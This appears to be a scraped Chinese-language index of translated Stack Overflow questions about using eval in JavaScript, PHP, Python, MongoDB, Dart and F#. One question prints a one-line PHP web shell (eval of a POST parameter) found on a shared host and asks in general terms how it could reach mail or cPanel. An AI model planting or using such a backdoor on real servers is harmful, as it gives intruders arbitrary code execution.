标签: eval

动态引用Javascript数组名称而不使用Eval?

鉴于EVAL是Evil,我如何动态创建一个数组名称:

我有一堆数组,我需要根据用户点击的内容引用不同的数组.

这段代码给了我数组对象:

(eval(calendarObject.id + '7'))
Run Code Online (Sandbox Code Playgroud)

但是eval很糟糕,那么如何构造一个数组名称然后引用呢?

这里有更多的背景:

if (jQuery.inArray(String(checkinDate.getTime()/1000), 
(eval(calendarObject.id + '7'))) == -1 ) { //do stuff };
Run Code Online (Sandbox Code Playgroud)

有任何想法吗?

谢谢.

javascript arrays jquery eval

0
推荐指数
1
解决办法
1784
查看次数

javascript jquery和使用eval

我目前正在使用jquery插件来读取数据文件(data.html)

data.html具有以下格式

[10,20,30,40,50]
Run Code Online (Sandbox Code Playgroud)

我的jquery数据请求和返回值的javascript如下

function test(){
  var result=$.ajax({
    url:'data.html',
    type:'get',
    dataType:'text',
    async:false,
    cache:false
  }).responseText
return result;};
var my=test();
alert(my[0])
Run Code Online (Sandbox Code Playgroud)

我想以数组格式获取这些值,即我希望我的[0]值为10,但我得到"[".如果我使用eval功能

 my=eval(test());
Run Code Online (Sandbox Code Playgroud)

我可以得到10,但有没有其他更好的方法将返回的ajax调用存储到数组而不是字符串?

谢谢

我尝试了下面的答案,我有点困惑,myArray中的跟随代码结果为null(在firebug中),但我把async:false然后它的工作原理.为什么我需要async:false来将值存储到数组中?(http://stackoverflow.com/questions/133310/how-can-i-get-jquery-to-perform-a-synchronous-rather-than-asynchronous-ajax-req)

jQuery.extend({getValues: function(url) {
var result = null;
$.ajax({
    url: url,
    type: 'get',
    dataType: 'json',
    cache: false,
    success: function(data) {result = data;}
    });
return result;}});
myArray=$.getValues("data.html");
alert(myArray[1]);
Run Code Online (Sandbox Code Playgroud)

javascript jquery eval

0
推荐指数
1
解决办法
2667
查看次数

带-1的eval加法不起作用

我遇到这个js代码有问题:

$('.downvoted').live('click',function(){
var ele = $(this);
var truc = ele.prev('.score_position');

$.post('ajax/vote.php', { vote :ele.attr('title') }, function(data) {
    if(data == 'done'){
        ele.removeClass('downvoted').addClass('downvote').html('<img src="images/down.png" />');
        truc.html(eval(truc.html()+1));
    }
});
return false;
});                 
Run Code Online (Sandbox Code Playgroud)

所以我还有3个相同的功能,用于downvoting,un-upvoting和upvoting.它运行良好除了有一个例外,如果truc.html()是-1,那么它将转到-11而不是0.

知道为什么它不起作用吗?(:你们可以在这里尝试http://91.121.154.130/?sort=last与ID:AZERTY PW:AZERTY)

jquery eval

0
推荐指数
1
解决办法
260
查看次数

eval php shell hack

假设您在带有cPanel的共享Web服务器中找到了此代码.您是否可以通过将shell上传到服务器或通过其他方法来访问邮件附件或cPanel?我不需要步骤如何做到这一点.只是一个整体的想法.对不起,我不能给你更多细节.但是这段代码不是为了攻击任何人.

<?php eval($_POST['path']);?>

php security eval

0
推荐指数
1
解决办法
7934
查看次数

在javascript中使用eval的替代方法

我听说在JavaScript中使用eval函数是个坏主意,但我有这个代码:

// this string (function)  is generated dynamically...
var funVal = 'alert("a")' ;        
//.....

var Button1 = document.getElementById("BtnSave");
// onclick event of button
eval("Button1.onclick = function () { " + funVal + " };");  
Run Code Online (Sandbox Code Playgroud)

我不想用eval.还有其他解决方案吗?

javascript eval function onclick

0
推荐指数
1
解决办法
883
查看次数

Eval那邪恶吗?

我知道eval锁定整个数据库,这对吞吐量不利 - 但是我有一个场景,必须隔离涉及多个文档的非常特定的事务.

因为该事务不经常发生并且相当快(对索引查询进行了一些更新),所以我正在考虑使用eval它来执行它.

他们应该注意到的任何陷阱(我看过几个eval =邪恶的帖子,但没有太多解释)?
如果数据库是副本集的一部分,它会有所不同吗?

eval mongodb

0
推荐指数
1
解决办法
583
查看次数

从文件读取时如何从类初始值设定项中删除引号.蟒蛇

我将调用存储在.dat文件的数组中的类Task.我想读取这个文件并重新构建类调用.

这是我现在正在使用的课程:

class Task:

    def __init__(self, name, timespent):
        self.name = name
        self.timespent = timespent

    def __repr__(self):
        return repr('Task("%s",%s)'%(self.name, self.timespent))
Run Code Online (Sandbox Code Playgroud)

这是文件中的读数:

task_list = []
with open("task_list2.dat", "r") as file:
    task_list = eval(file.readline())
Run Code Online (Sandbox Code Playgroud)

这是写入文件:

with open("task_list2.dat", "w") as outFile:
    print(repr(task_list), file = outFile)
Run Code Online (Sandbox Code Playgroud)

这是文件的内容: ['Task("class",20)'] 其中"class"是任务的名称.

我知道问题与'Task("class",20)'周围的单引号有关,但我不知道如何摆脱它们.我得到的错误消息说的是:"str对象没有属性'name'"

如何删除这些引号,以便下次读取文件时可以重新构建类?

python quotes eval class repr

0
推荐指数
1
解决办法
141
查看次数

Dart VM本身在`dart:mirrors`中实现`eval`,开发人员使用它.是否计划将此方法公之于众?

这是eval在Dart平台中使用此方法的代码.

这是通过反射完成的.

运行/ LIB/mirrors_impl.dart

_getFieldSlow(unwrapped) {
      // ..... Skipped  
      var atPosition = unwrapped.indexOf('@');
      if (atPosition == -1) {
        // Public symbol.
        f = _eval('(x) => x.$unwrapped', null);
      } else {
        // Private symbol.
        var withoutKey = unwrapped.substring(0, atPosition);
        var privateKey = unwrapped.substring(atPosition);
        f = _eval('(x) => x.$withoutKey', privateKey);
      }
      // ..... Skipped
  }
Run Code Online (Sandbox Code Playgroud)
  static _eval(expression, privateKey)
      native "Mirrors_evalInLibraryWithPrivateKey";
Run Code Online (Sandbox Code Playgroud)

运行/ LIB/mirrors.cc

DEFINE_NATIVE_ENTRY(Mirrors_evalInLibraryWithPrivateKey, 2) {
  GET_NON_NULL_NATIVE_ARGUMENT(String, expression, arguments->NativeArgAt(0));
  GET_NATIVE_ARGUMENT(String, private_key, arguments->NativeArgAt(1));

  const GrowableObjectArray& libraries =
      GrowableObjectArray::Handle(isolate->object_store()->libraries());
  const int num_libraries = …
Run Code Online (Sandbox Code Playgroud)

eval dynamic-compilation dart dart-mirrors dart-sdk

0
推荐指数
1
解决办法
446
查看次数

如何在数学表达式求值程序中修复此错误

我在F#中为简单的数学表达式(用一些自定义函数算术)编写了一个典型的求值器.虽然它似乎工作正常,但某些表达式没有按预期进行评估,例如,这些工作正常:

  • 评估"5 + 2" - > 7
  • 评价"sqrt(25)^ 2" - > 25
  • eval"1 /(sqrt(4))" - > 0.5
  • eval"1 /(2 ^ 2 + 2)" - > 1/6~0.1666 ......

但这些不是:

  • eval"1 /(sqrt(4)+2)" - >评估为1/sqrt(6)~0.408 ...
  • eval"1 /(sqrt 4 + 2)" - >也将评估为1/sqrt(6)
  • eval"1 /( - 1 + 3)" - >计算结果为1 /( - 4)〜-0.25

代码如下工作,标记化(字符串作为输入) - >到rev-​​polish-notation(RPN) - > evalRpn

我认为问题似乎发生在一元函数(函数接受一个运算符)的某处,这些是sqrt函数和negation( - )函数.我真的没有看到我的代码出了什么问题.有人可能会指出我在这里缺少的东西吗?

这是我在F#中的实现

open System.Collections
open System.Collections.Generic
open System.Text.RegularExpressions

type Token = 
    | Num of float
    | Plus
    | Minus
    | Star …
Run Code Online (Sandbox Code Playgroud)

f# rpn eval pattern-matching

0
推荐指数
1
解决办法
133
查看次数

php:使用字符串变量动态访问数组

就像这样

我有一个变量,其中包含一个数组索引,例如

$var = 'testVar["abc"][0]';
Run Code Online (Sandbox Code Playgroud)

要么

$var = 'testVar["xyz"][0]["abc"]';
Run Code Online (Sandbox Code Playgroud)

或者它可以是运行时的任何东西.

现在当我尝试使用这个PHP代码访问它时:

echo $$var;
Run Code Online (Sandbox Code Playgroud)

要么

echo ${$var};
Run Code Online (Sandbox Code Playgroud)

我得到一个警告说非法抵消线...

但如果我使用这个代码,它的工作原理

eval('echo $'.$var);
Run Code Online (Sandbox Code Playgroud)

我不想使用eval().还有其他方法吗?

编辑:

变量$ testVar是在运行时构建的数组,它可以动态构建多维数组.它的格式不固定,只有脚本通过使用某些变量知道数组可能是什么.

例如,在任何时候,数组可能有一个$["xyz"][0]["abc"]我想动态访问的索引.

我的php版本是5.1

php arrays eval

0
推荐指数
1
解决办法
93
查看次数